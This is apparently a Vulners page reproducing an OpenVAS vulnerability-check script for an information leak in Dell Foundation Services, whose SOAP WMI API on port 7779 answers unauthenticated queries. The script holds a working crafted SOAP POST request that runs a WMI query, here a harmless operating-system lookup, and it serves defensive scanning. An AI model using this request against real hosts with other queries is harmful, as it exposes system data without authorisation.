Lucene search
+L

Dell Foundation Services 'SOAP WMI API' Remote Information Disclosure

🗓️ 03 Dec 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 37 Views

Dell Foundation Services 'SOAP WMI API' Remote Information Disclosure. Can leak Windows Management Instrumentation (WMI) data. Update to version 3.0.700.0 or uninstall service

Refs
Code
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105476");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_version("2024-07-23T05:05:30+0000");
  script_tag(name:"last_modification", value:"2024-07-23 05:05:30 +0000 (Tue, 23 Jul 2024)");
  script_tag(name:"creation_date", value:"2015-12-03 11:32:22 +0100 (Thu, 03 Dec 2015)");
  script_name("Dell Foundation Services 'SOAP WMI API' Remote Information Disclosure");

  script_tag(name:"summary", value:"An issue in Dell Foundation Services can be exploited to leak
  any data provided by the Windows Management Instrumentation (WMI).");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"solution", value:"Update to a Dell Foundation Services 3.0.700.0 or later or
  uninstall the Dell Foundation services.");

  script_tag(name:"insight", value:"Dell Foundation Services starts an HTTPd that listens on
  port 7779. The previous service tag leak was fixed by removing the JSONP API. However, the
  webservice in question is still available. It is now a SOAP service, and all methods of that
  webservice can be accessed, not just the ServiceTagmethod. This affects hardware, installed
  software, running processes, installed services, accessible hard disks, filesystem metadata
  (filenames, file size, dates) and more.");

  script_tag(name:"affected", value:"Dell Foundation Services 3.0.700.0 is known to be affected.");

  script_xref(name:"URL", value:"http://lizardhq.rum.supply/2015/12/01/dell-foundation-services.2.html");

  script_tag(name:"qod_type", value:"remote_active");
  script_tag(name:"solution_type", value:"VendorFix");

  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 7779);
  script_mandatory_keys("Microsoft-HTTPAPI/banner");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port( default:7779 );
banner = http_get_remote_headers( port:port );

if( "Microsoft-HTTPAPI" >!< banner || banner !~ "^HTTP/1\.[01] 404" )
  exit( 0 );

host = http_host_name( port:port );
query = 'SELECT Caption FROM Win32_OperatingSystem';
useragent = http_get_user_agent();
soap = '<?xml version="1.0" encoding="UTF-8"?>' +
       '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://tempuri.org/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ' +
       'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' +
       '<SOAP-ENV:Body><ns1:GetWmiCollection><ns1:wmiQuery xsi:type="xsd:string">' + query  + '</ns1:wmiQuery></ns1:GetWmiCollection></SOAP-ENV:Body></SOAP-ENV:Envelope>';

len = strlen( soap );

req = 'POST /Dell%20Foundation%20Services/ISystemInfoCapabilitiesApi HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n' +
      'Connection: close\r\n' +
      'User-Agent: ' + useragent + '\r\n' +
      'Content-Type: text/xml;\r\n' +
      'SOAPAction: "http://tempuri.org/ISystemInfoCapabilitiesApi/GetWmiCollection"\r\n' +
      'Content-Length: ' + len + '\r\n' +
      '\r\n' +
      soap;

buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( buf =~ "^HTTP/1\.[01] 200" && "<GetWmiCollectionResponse" >< buf && "Value>Microsoft Windows" >< buf ) {
  report = 'It was possible to execute the WMI-Query "' + query + '" via the Dell Foundation Service SOAP WMI API\n\nResponse: ' + buf;
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation